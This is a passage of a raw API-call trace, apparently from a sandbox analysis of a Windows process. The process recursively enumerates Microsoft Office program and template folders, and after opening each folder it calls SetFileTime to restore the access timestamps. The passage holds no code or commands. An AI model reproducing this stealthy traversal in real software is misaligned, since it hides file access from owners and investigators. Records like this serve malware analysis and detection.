dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x17681d0, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x17681d0, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0070.006] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d160 [0070.008] GetLastError () returned 0x12 [0070.008] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d1a0 [0070.008] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0070.008] GetLastError () returned 0x12 [0070.008] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0070.009] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz"), fInfoLevelId=0x0, lpFileInformation=0x174f108 | out: lpFileInformation=0x174f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x511e6c70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70959970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70959970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xec [0070.009] SetFileTime (hFile=0xec, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0070.009] DeviceIoControl (in: hDevice=0xec, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x17681d0, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x17681d0, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0070.010] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d1a0 [0070.014] GetLastError () returned 0x12 [0070.014] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d160 [0070.014] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0070.014] GetLastError () returned 0x12 [0070.014] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0070.015] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES" (normalized: "c:\\program files\\microsoft office\\office14\\queries"), fInfoLevelId=0x0, lpFileInformation=0x174f108 | out: lpFileInformation=0x174f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa5ff110, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES" (normalized: "c:\\program files\\microsoft office\\office14\\queries"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0070.016] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0070.016] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x17681d0, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x17681d0, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0070.016] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d160 [0070.017] GetLastError () returned 0x12 [0070.018] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d1a0 [0070.018] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0070.018] GetLastError () returned 0x12 [0070.018] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0070.018] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SAMPLES" (normalized: "c:\\program files\\microsoft office\\office14\\samples"), fInfoLevelId=0x0, lpFileInformation=0x174f108 | out: lpFileInformation=0x174f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa671530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa671530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SAMPLES" (normalized: "c:\\program files\\microsoft office\\office14\\samples"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xec [0070.019] SetFileTime (hFile=0xec, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0070.019] DeviceIoControl (in: hDevice=0xec, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x17681d0, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x17681d0, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0070.020] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SAMPLES\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d1a0 [0070.020] GetLastError () returned 0x12 [0070.020] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SAMPLES\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d160 [0070.020] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0070.020] GetLastError () returned 0x12 [0070.020] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0070.020] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\STARTUP" (normalized: "c:\\program files\\microsoft office\\office14\\startup"), fInfoLevelId=0x0, lpFileInformation=0x174f108 | out: lpFileInformation=0x174f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\STARTUP" (normalized: "c:\\program files\\microsoft office\\office14\\startup"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0070.020] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0070.020] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x17681d0, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x17681d0, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0070.020] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\STARTUP\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d160 [0070.021] GetLastError () returned 0x12 [0070.021] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\STARTUP\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d1a0 [0070.021] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0070.021] GetLastError () returned 0x12 [0070.021] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0070.021] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content" (normalized: "c:\\program files\\microsoft office\\office14\\visio content"), fInfoLevelId=0x0, lpFileInformation=0x174f108 | out: lpFileInformation=0x174f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504da6a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x504da6a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x504da6a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content" (normalized: "c:\\program files\\microsoft office\\office14\\visio content"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xec [0070.021] SetFileTime (hFile=0xec, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0070.021] DeviceIoControl (in: hDevice=0xec, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x17681d0, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x17681d0, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0070.021] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d1a0 [0070.022] GetLastError () returned 0x12 [0070.022] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d160 [0070.022] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0070.022] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504da6a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x52203420, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x52203420, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xec [0070.023] SetFileTime (hFile=0xec, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0070.023] DeviceIoControl (in: hDevice=0xec, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x17681d0, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x17681d0, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0070.023] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d1a0 [0070.030] GetLastError () returned 0x12 [0070.030] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d120 [0070.030] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0070.030] GetLastError () returned 0x12 [0070.030] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0070.031] GetLastError () returned 0x12 [0070.031] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0070.031] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\XLSTART" (normalized: "c:\\program files\\microsoft office\\office14\\xlstart"), fInfoLevelId=0x0, lpFileInformation=0x174f108 | out: lpFileInformation=0x174f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\XLSTART" (normalized: "c:\\program files\\microsoft office\\office14\\xlstart"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0070.032] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0070.032] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0070.032] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\XLSTART\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d160 [0070.032] GetLastError () returned 0x12 [0070.032] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\XLSTART\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d120 [0070.032] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0070.032] GetLastError () returned 0x12 [0070.032] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0070.032] GetLastError () returned 0x12 [0070.032] FindClose (in: hFindFile=0x60d0a0 | out: hFindFile=0x60d0a0) returned 1 [0070.036] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Stationery" (normalized: "c:\\program files\\microsoft office\\stationery"), fInfoLevelId=0x0, lpFileInformation=0x174f3c0 | out: lpFileInformation=0x174f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3eb50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xebb910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xebb910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery" (normalized: "c:\\program files\\microsoft office\\stationery"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0070.037] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x174f404, lpLastWriteTime=0x174f404) returned 0 [0070.037] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174f45c, lpOverlapped=0x0) returned 0 [0070.037] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\*", fInfoLevelId=0x1, lpFindFileData=0x174f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f20c) returned 0x60d0a0 [0070.038] GetLastError () returned 0x12 [0070.038] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\*", fInfoLevelId=0x1, lpFindFileData=0x174f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f20c) returned 0x60d120 [0070.038] FindClose (in: hFindFile=0x60d0a0 | out: hFindFile=0x60d0a0) returned 1 [0070.038] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033" (normalized: "c:\\program files\\microsoft office\\stationery\\1033"), fInfoLevelId=0x0, lpFileInformation=0x174f108 | out: lpFileInformation=0x174f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xebb910, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.038] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033" (normalized: "c:\\program files\\microsoft office\\stationery\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0070.038] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0070.038] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0070.038] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d0a0 [0070.041] GetLastError () returned 0x12 [0070.041] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d160 [0070.041] FindClose (in: hFindFile=0x60d0a0 | out: hFindFile=0x60d0a0) returned 1 [0070.041] GetLastError () returned 0x12 [0070.041] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0070.042] GetLastError () returned 0x12 [0070.042] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0070.042] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates" (normalized: "c:\\program files\\microsoft office\\templates"), fInfoLevelId=0x0, lpFileInformation=0x174f3c0 | out: lpFileInformation=0x174f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates" (normalized: "c:\\program files\\microsoft office\\templates"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x148 [0070.043] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x174f404, lpLastWriteTime=0x174f404) returned 0 [0070.043] DeviceIoControl (in: hDevice=0x148, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174f45c, lpOverlapped=0x0) returned 0 [0070.043] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\*", fInfoLevelId=0x1, lpFindFileData=0x174f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f20c) returned 0x60d120 [0070.043] GetLastError () returned 0x12 [0070.043] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\*", fInfoLevelId=0x1, lpFindFileData=0x174f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f20c) returned 0x60d160 [0070.044] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0070.044] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033" (normalized: "c:\\program files\\microsoft office\\templates\\1033"), fInfoLevelId=0x0, lpFileInformation=0x174f108 | out: lpFileInformation=0x174f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033" (normalized: "c:\\program files\\microsoft office\\templates\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x148 [0070.044] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0070.044] DeviceIoControl (in: hDevice=0x148, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0070.044] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d120 [0070.047] GetLastError () returned 0x12 [0070.047] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d0a0 [0070.047] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0070.048] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x15087730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15087730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x148 [0070.048] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0070.048] DeviceIoControl (in: hDevice=0x148, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0070.049] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d120 [0070.051] GetLastError () returned 0x12 [0070.051] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d1a0 [0070.051] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0070.051] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\DataType" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\datatype"), fInfoLevelId=0x0, lpFileInformation=0x174eb98 | out: lpFileInformation=0x174eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14f30ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x14f56c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14f56c30, 